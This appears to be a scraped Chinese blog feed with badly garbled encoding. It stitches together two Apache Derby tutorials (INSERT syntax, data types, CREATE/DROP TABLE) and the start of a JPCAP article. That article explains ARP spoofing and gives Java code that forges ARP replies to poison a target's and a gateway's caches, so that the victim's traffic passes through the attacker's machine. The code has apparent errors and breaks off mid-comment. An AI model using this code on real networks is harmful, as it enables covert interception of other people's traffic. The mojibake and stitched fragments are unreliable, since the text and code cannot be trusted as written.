在?SQL INSERT 语句数据插?Apache Derby 数据库中之前Q必ȝ道如果正地使用该语句?a >清单 5 提供?Apache Derby ?SQL INSERT 语句的完整语法?


清单 5. SQL INSERT 语法
INSERT INTO table-Name
            [ (Simple-column-Name [ , Simple-column-Name]* ) ]
            Expression
            

该语法应该比较熟悉。如本系列的 上一文?/a> 所qͼҎ?([ ]) 包括可选参数。其用途不是立x楚的惟一lg?ExpressionQ但q个单的短语能够有多复杂呢?当然Q外表可能会蒙蔽人;Expression 词可以扩展ؓ下列四个不同的结构之一Q?/p>

其中Q最后两个超Z本文范围Q将在后l文章中详细介绍。前两个怼Q惟一的区别在于第一UŞ式将一行插入表中,而后一UŞ式将多行插入表中?

可以使用 SQL INSERT 语句的可选部分指定要插入到表中的值的列顺序。默认情况下Q数据插入到表中的列序与创时列的列出顺序相同。有时候您希望更改q种序或可能希望只为具?NOT NULL U束的列指定倹{通过?SQL INSERT 语句中显式列出列Q您获得对操作的更多控Ӟq可以更Ҏ地处理这些特定的用例?

SQL VALUES 表达式的语法相当单,?清单 6 所C?


清单 6. SQL VALUES 语法
{
            VALUES ( Value {, Value }* )
            [ , ( Value {, Value }* ) ]* |
            VALUES Value [ , Value ]*
            }
            

该语法首先显C多行格式,然后是单行格式(CQ竖U字W?| 表示或?/em>Q星号字W?* 表示一个或多个Q?code>value 词表C想要插入特定列的倹{要数据插入多列,必须一行的数据括在逗号分隔的括号内?

下面两节展示要实现的语法CZ?

使用 SQL 插入数据

?清单 7 所C,要将数据插入表中Q首先需要启?ij 工具q连接数据库。记住,要将数据插入表中Q表必须存在。如果还没有表的话,则执行本文之前所q的用于创徏表的脚本?/p>
清单 7. 插入单行
rb$ java org.apache.derby.tools.ij
            ij version 10.1
            ij> connect 'jdbc:derby:test' ;
            ij> INSERT INTO bigdog.products
            VALUES(1, 19.95, '2006-03-31', 'Hooded sweatshirt') ;
            1 row inserted/updated/deleted
            ij> INSERT INTO bigdog.products(itemNumber, price, stockDate, description)
            VALUES(2, 99.99, '2006-03-29', 'Beach umbrella') ;
            1 row inserted/updated/deleted
            ij> INSERT INTO bigdog.products(itemNumber, price, stockDate)
            VALUES(3, 0.99, '2006-02-28') ;
            1 row inserted/updated/deleted
            ij> exit ;
            

本例展示了对 bigdog.products 表的三个单行插入。第一?SQL INSERT 语句没有提供列列表;它插?itemNumber?code>price?code>stockDate ?description。注意,插入?stockDate ?description 列的值括在单引号字符中?code>description 列是长度可变的字W串Q所以它预计是一个字W串Q通过字W数据括在单引号中指明)。另一斚wQ?code>stockDate 列是一个日期列Q它需要您日期括在单引号中以正确解析出正的日、月和年信息。(有关 SQL INSERT 操作期间数据cd格式的更多指南,请阅读联机文档或参阅本系列的 上一文?/a>。)

W二?SQL INSERT 语句昑ּ列出所有四列ƈ相应地插入新倹{最后一?SQL INSERT 语句只列Z列ƈ只插入三个倹{?code>description 列留为空白,q意味着它将h NULL 倹{?

虽然单行 SQL INSERT 语句可能有用Q但当您需要插入多行时Q直接插入多行可能更有效Q如 清单 8 所C?


清单 8. 插入多行
rb$ java org.apache.derby.tools.ij
            ij version 10.1
            ij> connect 'jdbc:derby:test' ;
            ij> INSERT INTO bigdog.products(itemNumber, price, stockDate, description)
            VALUES (4, 29.95, '2006-02-10', 'Male bathing suit, blue'),
            (5, 49.95, '2006-02-20', 'Female bathing suit, one piece, aqua'),
            (6, 9.95, '2006-01-15', 'Child sand toy set'),
            (7, 24.95, '2005-12-20', 'White beach towel'),
            (8, 32.95, '2005-12-22', 'Blue-striped beach towel'),
            (9, 12.95, '2006-03-12', 'Flip-flop'),
            (10, 34.95, '2006-01-24', 'Open-toed sandal') ;
            7 rows inserted/updated/deleted
            ij> exit ;
            

在本例中Q首先启?ij 工具q连接数据库。下一代码行通过昑ּ列出所有四列ƈ为每行提供新|?7 行插入数据库中。如前所qͼ多行插入每个新行的值包括在括号内,q些g间用逗号分隔。该 SQL INSERT 语句执行之后Q?code>ij 工具报告q?7 新行已经插入?

?Apache Derby 中插入数?/span>

多行插入优于多个单行插入Q但更好的方法是?SQL INSERT 语句攑֜脚本文g中,q行脚本来插入数据。这U方法允许您更容易地修复错误或根据需要重新插入数据,而无需重新创徏必需?SQL INSERT 语句。如前所qͼ可以 随本文下?/a> ?.zip 文g包括两个 SQL 脚本文g。第二个脚本文g (derby.insert.sql) 上一节提供的 10 行插入到数据库中Qƈ执行单查询以昄l果Q从而验证插入操作。执行查询操作的机制在下一文章中详细讨论Q但您不必理解查询就能够q行插入脚本?

要执行脚本,可以选择本文开头展C的三个Ҏ之一。在 清单 9 中,通过重定?ij 工具的标准输入以从脚本文件中d的方式,来执行插入脚本。插?10 行,然后l果昄到屏q上?


清单 9. 验证插入操作
$ java org.apache.derby.tools.ij < derby.insert.sql
            ij version 10.1
            ij> ij> 10 rows inserted/updated/deleted
            ij> ITEMNUMBER |PRICE   |STOCKDATE |DESCRIPTION
            -------------------------------------------------------------------------------
            1          |19.95   |2006-03-31|Hooded sweatshirt
            2          |99.99   |2006-03-29|Beach umbrella
            3          |0.99    |2006-02-28|
            4          |29.95   |2006-02-10|Male bathing suit, blue
            5          |49.95   |2006-02-20|Female bathing suit, one piece, aqua
            6          |9.95    |2006-01-15|Child sand toy set
            7          |24.95   |2005-12-20|White beach towel
            8          |32.95   |2005-12-22|Blue-striped beach towel
            9          |12.95   |2006-03-12|Flip-flop
            10         |34.95   |2006-01-24|Open-toed sandal
            10 rows selected
            ij> ij> rb$
            





回页?/strong>


l束?/span>

本文讨论了两个主要主题。首先向您介l了 SQL 脚本文g的概念,该脚本文件可用于以自动方式执行多?SQLQ或 DerbyQ命令。?Apache Derby ij 工具执行 SQL 脚本文g有三U方法:从工具中、?run 命o或直接从命o行用这两种Ҏ之一。然后,您回了 INSERT 语句?SQL 语法Qƈ查看了如何用该语句数据插?Derby 数据库中的示例。后l文章将在此基础上查询、更新和删除 Apache Derby 数据库中的数据?/p>




回页?/strong>


下蝲

描述 名字 大小 下蝲Ҏ
Derby SQL scripts for this article derby4.zip 1KB HTTP
关于下蝲Ҏ的信?/a>



smildlzj 2007-11-27 23:39 发表评论
]]>
?Apache Derby q行数据库开发,W?2 部分http://m.tkk7.com/smildlzj/articles/163572.htmlsmildlzjsmildlzjTue, 27 Nov 2007 15:05:00 GMThttp://m.tkk7.com/smildlzj/articles/163572.htmlhttp://m.tkk7.com/smildlzj/comments/163572.htmlhttp://m.tkk7.com/smildlzj/articles/163572.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/163572.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/163572.html本文学习几个基本的数据库概念,包括模式、表、列数据cd以及l构化查询语aQSQLQ的单介l。这文?—?侧重于数据库开发h员的角色 —?介绍可以用来?Apache Derby 数据库中保存数据的基本数据类型,然后用它们在 Apache Derby 中创Z个带有两个表的简单模式,供一个虚拟的商店使用。要查看数据库的模式内容Q可以?Apache Derby 的工?—?dblookQ导出数据库的内宏V文章结束时单讨Z如何删除表?/blockquote>

关系数据库系l基

在开发数据库应用E序之前Q需要理解它的基本概c这一节介l在 Apache Derby 中可以用的数据cdQ以及对设计和创建有用的 Derby 数据库应用程序的能力有媄响的规则?

关系数据库容Ux据。数据可以是不同cd的,例如数值型、字W型或日期型。在数据库中Q数据被l织到叫?em>?/em> 的逻辑单元中。表像工作一P因ؓ它包含数据行。每行由许多列组成。列容纳特定数据cd的数据,例如整型值或字符丌Ӏ在多数情况下,一个数据库有多个表。ؓ了将表关联在一P数据库设计师利用表之间的自然Q或ZؓQ链接。在工作中Q可以通过单元格的值链接不同工作簿中的行。同L概念在关pL据库中也存在Q用来进行链接的列叫?em>键列Qkey columnQ?/em>?

Z让表或列的用途更Ҏ理解Q应当选择合适的名称。对于不同的数据库,命名U定可能不同。对?Apache Derby 数据库系l,名称应当Q?/p>

  • 不区分大?
  • 最?128 个字W?
  • 必须以字母开头?
  • 必须只包?Unicode 字母、下划线?Unicode 数字?

通过把名U放在双引号中,可以避开 q些规则Q用双引号允许名称区分大小写以及包含附加字W(包括I格Q。但是,q么做通常是不好的做法Q它要求名称总被括在双引号中Q很Ҏ把维护代码的其他人弄p涂?/p>
Derby 风格
q个 文章pd 遵守特定的风|所?SQL 命o都用大写Q项目名U采?camelCase 方式Q在 camelCase 风格中,单词被连在一PW一个单词之后的每个单词的第一个字母大写,例如 aLongIdentifier。把q两U风格组合在一Pq些文章?SQL 命o时的风格是这PSELECT aLongIdentifier FROM bigdog.dataTable ;.

兌的表通常l织在一P形成一?em>模式QschemaQ?/em>。可以把模式当成特定数据库中所有相关结构定义的容器。在指定模式中,表的名称必须惟一。所以,通过使用模式Q可以在不同模式的范围内拥有名称相同的对象(例如表)。在使用 Apache Derby 数据库时Q表d模式中。如果没有显式地指定模式QDerby ׃隐式C用内|的 apps 模式。叫?sys 的第二个内置模式用来隔离pȝ表?/p>

可以用模式名对名U进?em>限定QqualifyQ?/em>。要做这件事Q可以在模式名后加圆点,然后加表名。例如,bigdog.products 表示 bigdog 模式中的 products 表。没有相应的模式名,表名p认ؓ?em>未限定的QunqualifiedQ?/em>Q例?products。当模式名和表名都完全指定的时候,像 bigdog.productsQ名U被UCؓ完全限定的(fully qualifiedQ?/em>?/p>

从抽象意义上来说Q这些数据库概念看v来可能让人؜淆。但在实践上Q它们相当简单。例如,假设有一个商店,叫做 Bigdog's Surf ShopQ这家店销售各U商品,例如太阳镜、衬衫等{。如果想赢利Q就必须理库存Q以便可以容易地订购额外的商品或改变供应商,从而把开支控制在最。跟t这些信息的一个简单方法,是用表格式~写条目Q如 ?1 所C?


?1. Bigdog's Surf Shop 的示例模?/strong>
Bigdog's Surf Shop 的示例模式,昄了一?Products 表和一?Vendors ? src=

从这个简单的可视设计中,可以Ҏ地把业务逻辑直接映射到数据库表。有两个表:Products ?VendorsQ它们自然地通过商品名称链接在一赗列的数据类型很Ҏ定。这文章其余的部分侧重于?Derby 数据库中创徏 Bigdog's Surf Shop 的示例模?—?模式中包含这两个表?





回页?/strong>


处理关系数据库:l构化查询语a

SQL NULL cd
在开始创建数据库表之前,必须知道列没有指定值的时候要做什么。ؓ了理解这一点,h像一下填?Web 表单时的情况。如果某个具体列为空Q那么插到数据库中的是什么呢Q可以想像,如果必须跟踪无?/em> 标记Q问题会很麻烦。幸q的是,SQL 定义了一个特D|NULLQ表C列没有倹{?

数据库系l会成ؓ软g中复杂的部分Q特别是在规模扩大到支持企业U应用程序的时候。所以,可以惛_每个数据库都会有自己的应用程序编E接口(APIQ,而这?API 可能彼此不同。当关系数据库刚开发出来的时候,情况是q样。但是,q运的是Q许多开发商同意开发一个标准的语言Q用来访问和操纵数据库。这个语aUCl构化查询语aQ或 SQLQ发x sea-quillQ。至今已lŞ成了多个官方标准版本Q包?1992 q的版本Q这一版被UCؓ SQL-92Q还?1999 q的版本被称?SQL-99。Apache Derby 数据库ؓ SQL-92 标准提供了几乎完整的实现Q所以用 Deryby 开发的应用E序可以Ҏ地移植到其他数据库系l?/p>

SQL 有两个主要部分:数据定义语言QDDLQ和数据操纵语言QDMLQ。DDL 命o用来创徏、修Ҏ删除数据库中的项目(例如表)。DML 命o用来在数据库表中d、修攏V删除或选择数据。这文章后面的部分提供对 SQL ?DDL 部分的基本介l。未来的文章侧重于 DML 命o和更高?DDL 命o?/p>

SQL 数据cd

SQL 作ؓ一个编E语aQ定义了丰富的数据类型层ơ结构。数据库已经变得更强大了Q所以这个类型层ơ结构也变得更复杂。但是最单的数据库ƈ不要求用所有允许的cdQ通常只需要保存数值型、字W型和日期(或时_数据。ؓ了简单,?1??? 昄?Derby 中实现的基本 SQL 数据cd?/p>

如表 1 所C,Derby 提供了对三种整型数据cd的支持。这些类型由它们可以保存的整数的范围区分Q也是由它们在数据库中需要的存储I间区分。在设计数据库时要记住的一个关键问题就是,应当一直把表用的I间控制在最。一般来_表越,性能高。但是必能够在生成的表中保存需要的数据?31 {于 2,147,483,648Q?63 {于 9,223,372,036,854,775,808Q所以用这些类型可以保存非常大的整敎ͼ

?1. Derby 中的基本整数数据cd
数据cd 最?/th> 最大?/th> CZ 说明
SMALLINT -32768 (-215) 32767 (215 - 1) itemNumber SMALLINT 2 字节整数表示
INT -231 231 - 1 itemNumber INT 4 字节整数表示
BIGINT -263 263 - 1 itemNumber BIGINT 8 字节整数表示

多数数值型数据不能用整数表C。Derby 对实数提供了多种格式的支持:单精度Q炏V双_ֺ点以及准确的算术表C,如表 2 所C?

?2. Derby 中的基本数值类?/em>
数据cd 最?/th> 最大?/th> CZ 说明
REAL -3.402x10+38 3.402x10+38 price REAL IEEE 点敎ͼ4 字节Q?/td>
DOUBLE -1.79769x10+308 1.79769x10+308 price DOUBLE IEEE 点敎ͼ8 字节Q?/td>
DECIMAL 31 Q最大精度) price DECIMAL(5,2) 准确术表示

如果从未遇到q准精度数据类型,那么对算术类型和点cd可能有些qh。区别在于一个事实:计算Z使用的QҎ据类型无法包含每个实数。这看v来可能有些怪,但是x实数的数量是无限的。大多数实数都无法保存在几个字节的内存中。对于某些应用程序,_ֺ的损失是可以接受的,而在许多情况下,则不可接受。例如,财务应用E序不能容忍仅仅因ؓ某个数字不能保存在计机中,损失金钱?

q个问题的解x案是使用 DECIMAL 数据cdQ它可以控制计算机存储的数字位数Q?em>_ֺQ和数点后的位敎ͼdQ。要创徏术cdQ应当指定保存的数据的精度,q可选地指定数据的刻度?code>DECIMAL 数据cd需要的存储I间通常要比点数据cd大得多。所以应当小心地使用q个cdQ否则应用程序的性能会降低。默认情况下Q?code>DECIMAL cd的刻度ؓ 0Q这意味着 DECIMAL 数据cd模拟了整数类型?

数值类型有多个同义词。例如,DECIMAL 数据cd可以~短?DEC 或表CZؓ NUMERIC?code>DOUBLE cd也可以表CZؓ DOUBLE PRECISIONQ虽然ؓ什么在需要双_ֺ数字时要输入额外的单词,原因不明。更常用的同义词?FLOAT cdQ它拥有L的Q点精度,可以在声明数据类型时指定Q例?FLOAT(val)。精度必L于 53 的正整数Q如果不是,׃出错。如果指定了于{于 23 的精度|FLOAT(val) q价于 REALQ如果精度在 24 ?53 之间Q那?FLOAT(val) {h?DOUBLE?

除了数值类型,数据库中最常用的保存数据的另一个类型是字符数据。字W数据的CZ包括产品说明、h名或地址信息。Derby 提供了保存字W数据的两个单技术:CHAR cd?VARCHAR cdQ详情如?3 所C。对于这两种cdQ都可以指定 length 参数Q如果没指定Q默认ؓ 1。在q两个字W数据类型之间有两个主要区别。首先,CHAR cd的最大长度是 254 个字W,?VARCHAR cd最多可以容U?32,672 个字W。第二个区别比较微妙Q?code>CHAR cd的长度L指定的长度。如果没有指定够的字符Q那么会插入额外的空白来填满剩余位置。而?VARCHAR Ӟ字符的数量是可变的,不执行额外的填充?

?3. Derby 中的基本字符串数据类?/em>
数据cd 最大长?/th> CZ 说明
CHAR 254 description CHAR(128) 定长字符?/td>
VARCHAR 32,672 description VARCHAR(128) 变长字符?/td>

因ؓ长度可变Q所?VARCHAR cd在实际的存储I间斚w会更有效率,但在性能上效率就会更低?code>CHAR 数据cd有助于性能提高Q因为数据库切地知道每?CHAR 列有多大Q所以在d数据时就可以执行某种性能优化?code>VARCHAR 列的最大长度看h可能_大了Q但?Derby q提供了更大的字W数据类型,q个cd在未来的文章中讨论?/p>

Derby 提供了最后一cȝ单的数据cd来保存日期和旉Q如?4 所C?code>TIME 数据cd?24 时格式保存时、分钟和U(HH:MM:SSQ?code>DATE 数据cd保存月、日和年Q可以用不同的格式指定,包括以下格式Q?

  • yyyy-mm-dd
  • mm/dd/yyyy
  • dd.mm.yyyy

 

?4. Derby 中的基本日期和时间数据类?/em>
数据cd 最?/th> 最大?/th> CZ 说明
TIME 00:00:00 24:00:00 start TIME 旉表示Q精到U)
DATE 0001-01-01 9999-12-31 stockDate DATE 日期表示Q精到天)

Derby q提供了 TIMESTAMP 数据cdQ把 TIME ?DATE 数据cdl合C个类型中Q表C准的旉?/p>



回页?/strong>


?Derby 中创

目前为止Q已l学习了如何设计表,包括规划表的列和定义每个列的数据cd。在正确地设计了表之后,?SQL 创徏表的Ҏ很单了?a >清单 1 昄了在 Derby 中创的正式语法?


清单 1. Apache Derby ?CREATE TABLE 语法
--  Comment describing the purpose and layout of the table
            CREATE TABLE [schemaName.]tableName (
            { <columnDefinition> | <tableLevelConstraint>  } [,
            { <columnDefinition> | <tableLevelConstraint>  }
            ]*
            ) ;
            

W一ơ看q个语法Ӟ可能感觉到迷惑不解。但是有了基之后Q接下来容易了Q而且如果x?DerbyQ对正式语法的理解是必需的。方括号Q?code>[ ?]Q中的是可选参数。从正式语法中可以看出,模式名是可选的Q在必需的头一个列之后Q创一个列都没有的表是没有意义的)Q其他列定义或表U约束都是可选的?

您可能理解列定义的含义,但是可能不理?em>U束 的意义。约束有两种cdQ表U约束和列约束。约束通过某种方式对列或表q行限制。例如,可以用约束要求列总要有实际的|没有 NULL |Q或者列中的每个必L惟一的,或者列被自动分配默认倹{在未来的文章中更详细Cl约束?/p>

最后一个结束方括号之后的星P*Q代表可以包含一个或多个包含V这意味着表必L一个或多个列或表U约束。竖U(|Q表?“可有可无” 条g。在q个语法CZ中,必须定义一个新列或者定义一个表U约束。花括号Q?code>{ ?}Q把相关组l在一P而圆括号Q?code>( ?)Q中是必需的元?。最后,分号Q?code>;Q表C?SQL 语句的结束?

把这些规则投入用则相当单?a >清单 2 昄了如何用 Derby 提供?ij 创徏前面??1 中演C的表?


清单 2. ?Apache Derby 中创
rb$ java org.apache.derby.tools.ij
            ij version 10.1
            ij> connect 'jdbc:derby:test;create=true' ;
            ij> CREATE TABLE bigdog.products (
            itemNumber INT NOT NULL,
            price DECIMAL(5, 2),
            stockDate DATE,
            description VARCHAR(128)
            ) ;
            0 rows inserted/updated/deleted
            ij> CREATE TABLE bigdog.vendors (
            itemNumber INT NOT NULL,
            vendorNumber INT NOT NULL,
            vendorName CHAR(64)
            ) ;
            0 rows inserted/updated/deleted
            ij> exit ;
            

?Derby 数据库进行交互的最单方式是使用 ij 工具Q在q个pd的第一文?“?Apache Derby q行开?—?取得节节胜利QApache Derby 介绍”QdeveloperWorksQ?006 q?2 月)中已l介l过。如果按?清单 2 中的步骤q行Q就会创Z个新的数据库Q名?test。如?test 数据库已l存在,在发?connect 语句Ӟ会得到警告消息。可以安全地忽略q个警告。接下来Q隐式地创徏一个名?bigdog 的新模式Qƈ昑ּ地创Z个新?—?products ?vendors —?q两个表保存?bigdog 模式中。模式的创徏所以是隐式的,是因为没有发?CREATE SCHEMA 语句?/p>

products 表有四个列:itemNumber?code>price?code>stockDate ?description?code>itemNumber 列提供了每个商品Q或列)的惟一标识Q它上面q有列U束Q强制要求提供正的|NOT NULLQ。如果没有这个要求,itemNumber 列就无法保持惟一Q因为多个行都可能被分配 NULL 倹{?code>price 列创Zؓ DECIMAL 数据cdQ精度ؓ 5Q刻度ؓ 2。这意味着每个商品的最高h格可以是 $999.99。最后两个列很简单:stockDate 列以 Date cd保存Q?code>description 列以字符串类型保存,最?128 个字W,使用的空间是实际的字W串长度?

vendors 表有三列Q?code>itemNumber?vendorNumber ?vendorName。在q个CZ中,itemNumber ?vendorNumber 列都有列U约束(NOT NULLQ。另外,vendorName 列以字符串类型保存,最大长度ؓ 64。因?vendorName 列用 CHAR 数据cd保存Q所以L保留 64 个字W空间?

在创Z各种目之后Q可能想知道是否有种单的方式可以查看数据库中保存了什么项目。幸q的是,{案是肯定的Q可以?dblook 工具。运行这个工P?清单 3 所C,提供了特定数据库中已l创建的目的详l清单?


清单 3. ?dblook 查看模式
rb$ java org.apache.derby.tools.dblook -d jdbc:derby:test
            -- Timestamp: 2006-03-04 10:52:34.056
            -- Source database is: test
            -- Connection URL is: jdbc:derby:test
            -- appendLogs: false
            -- ----------------------------------------------
            -- DDL Statements for schemas
            -- ----------------------------------------------
            CREATE SCHEMA "BIGDOG";
            -- ----------------------------------------------
            -- DDL Statements for tables
            -- ----------------------------------------------
            CREATE TABLE "BIGDOG"."PRODUCTS" (
            "ITEMNUMBER" INTEGER NOT NULL,
            "PRICE" DECIMAL(5,2),
            "STOCKDATE" DATE,
            "DESCRIPTION" VARCHAR(128));
            CREATE TABLE "BIGDOG"."VENDORS" (
            "ITEMNUMBER" INTEGER NOT NULL,
            "VENDORNUMBER" INTEGER NOT NULL,
            "VENDORNAME" CHAR(64));
            

dblook 工具是一?Java c,可以用它方便地把数据库的内容输出到控制台。在命o行上q行它,像q行其他 Java E序一P惟一增加的就是?-d jdbc:derby:test 参数Q这个参数指?dblook 工具应当查询的数据库。如果能q行 ij 工具Q那?dblook cL件就已经存在?CLASSPATH 中了。如果不是这P请参考这个系列中?W一文?/a>Q获得正设|?CLASSPATH 的详l说明。正?dblook 工具的输出所C,test 数据库包?bigdog 模式Q这个模式包?products ?vendors 表。另外,对这两个表的列也有详l描q?





回页?/strong>


删除 Derby 中的?/span>

没有什么事情是完美的。当错误地创Z表或者表不再需要的时候,该怎么办?单的{案是从数据库中删除表。而且Q如果必要,再创Z个替代表。删除表很容易,当然q意味着Q在做这件事的时候应当非常小?—?不会弹出对话框要求您认是否真的惛_除!

从数据库中删除(或者更正式地说Q?em>撤下QdropQ?/em>Q一个表的完整语法是Q?

DROP TABLE [schemaName.]tableName ;

语法很简单:把完全限定名U和分号攑֜ DROP TABLE SQL 命o后面Q就完成了?a >清单 4 中在新创建的临时表上演示了删除表的过E?


清单 4. ?Derby 数据库删除表
rb$ java org.apache.derby.tools.ij
            ij version 10.1
            ij> connect 'jdbc:derby:test' ;
            ij> CREATE TABLE temp ( aColumn INT ) ;
            0 rows inserted/updated/deleted
            ij> DROP TABLE temp ;
            0 rows inserted/updated/deleted
            ij> exit ;
            





回页?/strong>


l束?/span>

现在您已l走上了操作 Apache Derby 数据库的道\。目前您已经掌握了基本的数据库概念,包括模式、表和列Q还看到了用名?Bigdog's Surf Shop 的虚拟公司对q些概念的演C。要操作?Derby q样的数据库Q需要学?SQLQ它是与数据库进行交互的标准语言。这文章还介绍了可以用来在 Derby 数据库中保存数据的基本数据类型。把q些概念融合在一P您学习了如何?Derby 创徏和删除表Q还使用 Derby ?dblook 工具输出了数据库的模式内宏V?/p>

smildlzj 2007-11-27 23:05 发表评论
]]>JPCAP——JAVA中的数据链\层控制之?http://m.tkk7.com/smildlzj/articles/162906.htmlsmildlzjsmildlzjSat, 24 Nov 2007 15:41:00 GMThttp://m.tkk7.com/smildlzj/articles/162906.htmlhttp://m.tkk7.com/smildlzj/comments/162906.htmlhttp://m.tkk7.com/smildlzj/articles/162906.html#Feedback0http://m.tkk7.com/smildlzj/comments/commentRss/162906.htmlhttp://m.tkk7.com/smildlzj/services/trackbacks/162906.html三.使用JPCAP实现监听
       1Q监听原?/strong>
       在详l说用JPCAP实现|络监听实现前,先简单介l下监听的原理?/div>
       局域网监听利用的是所谓的“ARPƺ骗”技术。在以前曄一D阶D,局域网的布局是用ȝ式(或集U式Q结构,要到辄听只需要将|卡讑֮为؜杂模式即可,但现在的局域网l普遍采用的是交换式|络Q所以单U靠h模式来达到监听的Ҏ已经不可行了。所以ؓ了达到监听的目的Q我们需?#8220;ƺ骗”路由器?#8220;ƺ骗”交换机,?#8220;ARPƺ骗”技术?/div>
       假设本机为AQ监听目标ؓB?/div>
首先Q伪造一个ARP REPLY包,数据链\层头及ARP内容部分的源MAC地址填入A的MAC地址Q而源IP部分填入|关IPQ目的地址填入B的MAC、IPQ然后将q个包发送给BQ而B接收到这个伪造的ARP REPLY包后Q由于源IP为网关IPQ于是在它的ARP~存表里h了一,(|关IPQ网关MACQ刷新成Q网关IPQA的MACQ。而B要访问外部的|都需要经q网养Iq时候这些要l过|关的包通通流到A的机器上来了?/div>
接着Q再伪造一个ARP REPLY包,数据链\层头及ARP内容部分的源MAC地址填入A的MAC地址Q而源IP部分填入B的IPQ目的地址填入|关MAC、IPQ然后将q个包发l网养I|关接收到这个伪造的ARP REPLY包后Q由于源IP为B的IPQ于是在它的ARP~存表里h了一,(B的IPQB的MACQ刷新成QB的IPQA的MACQ。这时候外部传lB的数据包l过|关Ӟ通通{发给A?/div>
q样q只是拦截了B的数据包而已QBq不能上|——解x法是接收到的包Q除了目的地址部分E做修改Q其它原不动的再{发出去,q样pC监听的目的——在B不知不觉中浏览了B所有的对外数据包?/div>
 
ARP数据包解?/span>
单元Q?/span>Byte
Ethernet头部
ARP数据部分
Q?/span>
Q?/span>
Q?/span>
2
2
2
2
Q?/span>
Q?/span>
Q?/span>
Q?/span>
目标MAC地址
源地MAC地址
cd?/span>0x0800:ip
0x0806:ARP
局域网cd
以太|?/span>0x0001
|络协议cd
IP|络0x0800
MAC/IP地址长度Q恒?/span>0x06/04
ARP包类?/span>
REPLY
0x0002
ARP目标IP地址
ARP目标MAC 地址
ARP?/span>IP地址
ARP?/span>MAC地址
 
2Q用JPCAP实现监听
       如上面说的Qؓ了实现监听,我们必须做四件事Q?/div>
AQ?/span>发送ARP包修改B的ARP~存表;
BQ?/span>发送ARP包修改\由ARP~存表;
CQ?/span>转发B发过来的数据包;
DQ?/span>转发路由发过来的数据包;
 
下面我们l个小的例子说明怎样实现?/div>
我们假定q行q个E序的机器A只有一个网卡,只接一个网l,所在局域网为EthernetQƈ且假定已l通过某种方式获得B和网关的MAC地址Q例如ARP解析获得Q。我们修改了B和网关的ARP表,q对他们的包q行了{发?/div>
public class changeARP{
         private NetworkInterface[] devices;                           //讑֤列表
         private NetworkInterface device;                               //要用的讑֤
         private JpcapCaptor jpcap;                                        //与设备的q接
         private JpcapSender sender;                                       //用于发送的实例
         private byte[] targetMAC, gateMAC;                       //B?/span>MAC地址Q网关的MAC地址
         private byte[] String targetIp, String gateIp;              //B?/span>IP地址Q网关的IP地址
         /**
         *初始化设?/span>
         * JpcapCaptor.getDeviceList()得到讑֤可能会有两个Q其中一个必定是“Generic
*dialup adapter”Q?/span>q是windowspȝ的虚拟网卡,q真正的硬件设备?/span>
*注意Q在q里有一个小的BUGQ如?/span>JpcapCaptor.getDeviceList()之前有类?/span>JFrame jf=new
*JFameQ)q类的语句会影响得到讑֤个数Q只会得到真正的g讑֤Q而不会出现虚拟网卡?/span>
*虚拟|卡只有MAC地址而没?/span>IP地址Q而且如果出现虚拟|卡Q那么实际网卡的MAC
*配给虚拟|卡Q也是说在E序中调?/span>device. mac_address时得到的?/span>00 00 00 00 00 00?/span>
         */
         private NetworkInterface getDevice() throws IOException {
                  devices = JpcapCaptor.getDeviceList();                                                 //获得讑֤列表
                   device = devices[0];                                                                                //只有一个设?/span>
                   jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             //打开与设备的q接
                   jpcap.setFilter(“ip”,true);                                                                       //只监?/span>B?/span>IP数据?/span>
                   sender = captor.getJpcapSenderInstance();
         }
         /**
         *修改B和网关的ARP表。因为网关会定时发数据包h自己?/span>B的缓存表Q所以必L隔一
         *D|间就发一ơ包重新更改B和网关的ARP表?/span>
         *@参数 targetMAC           B?/span>MAC地址Q可通过ARP解析得到Q?/span>
         *@参数 targetIp                 B?/span>IP地址Q?/span>
         *@参数 gateMAC              |关?/span>MAC地址Q?/span>
         *@参数 gateIp                     |关?/span>IP;
         */
         public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                            throws UnknownHostException,InterruptedException {
                   this. targetMAC =  targetMAC;
                   this. targetIp =  targetIp;
                   this. gateMAC = gateMAC;
                   this. gateIp = gateIp;
                   getDevice();
                   arpTarget = new ARPPacket();                                                     //修改B?/span>ARP表的ARP?/span>
                   arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          //选择以太|类?/span>(Ethernet)
                   arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                //选择IP|络协议cd
                   arpTarget.operation = ARPPacket.ARP_REPLY;                         //选择REPLYcd
                   arpTarget.hlen = 6;                                                                        //MAC地址长度固定6个字?/span>
                   arpTarget.plen = 4;                                                                        //IP地址长度固定4个字?/span>
                   arpTarget.sender_hardaddr = device.mac_address;                       //A?/span>MAC地址
                   arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       //|关IP
                   arpTarget.target_hardaddr = targetMAC;                                               //B?/span>MAC地址
                   arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress();     //B?/span>IP
 
                   EthernetPacket ethToTarget = new EthernetPacket();                  //创徏一个以太网?/span>
                   ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类?/span>
                   ethToTarget.src_mac = device.mac_address;                                 //A?/span>MAC地址
                   ethToTarget.dst_mac = targetMAC;                                             //B?/span>MAC地址
                   arpTarget.datalink = ethToTarget;                                                 //以太头d?/span>ARP包前
 
                   arpGate = new ARPPacket();                                                                 //修改|关ARP表的?/span>
                   arpGate.hardtype = ARPPacket.HARDTYPE_ETHER;             //跟以上相|不再重复注析
                   arpGate.prototype = ARPPacket.PROTOTYPE_IP;
                   arpGate.operation = ARPPacket.ARP_REPLY;
                   arpGate.hlen = 6;
                   arpGate.plen = 4;
                   arpGate.sender_hardaddr = device.mac_address;
                   arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
                   arpGate.target_hardaddr = gateMAC;
                   arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
 
                   EthernetPacket ethToGate = new EthernetPacket();
                   ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
                   ethToGate.src_mac = device.mac_address;
                   ethToGate.dst_mac = gateMAC;
                   arpGate.datalink = ethToGate;
                  
                   thread=new Thread(new Runnable(){                                 //创徏一个进E控制发包速度
                            public void run() {
                                      while (true) {
                                               sender.sendPacket(arpTarget);
                                               sender.sendPacket(arpGate);
                                               Thread.sleep(500);
                   }).start();
                   recP();                                                                                   //接收数据包ƈ转发
}
/**
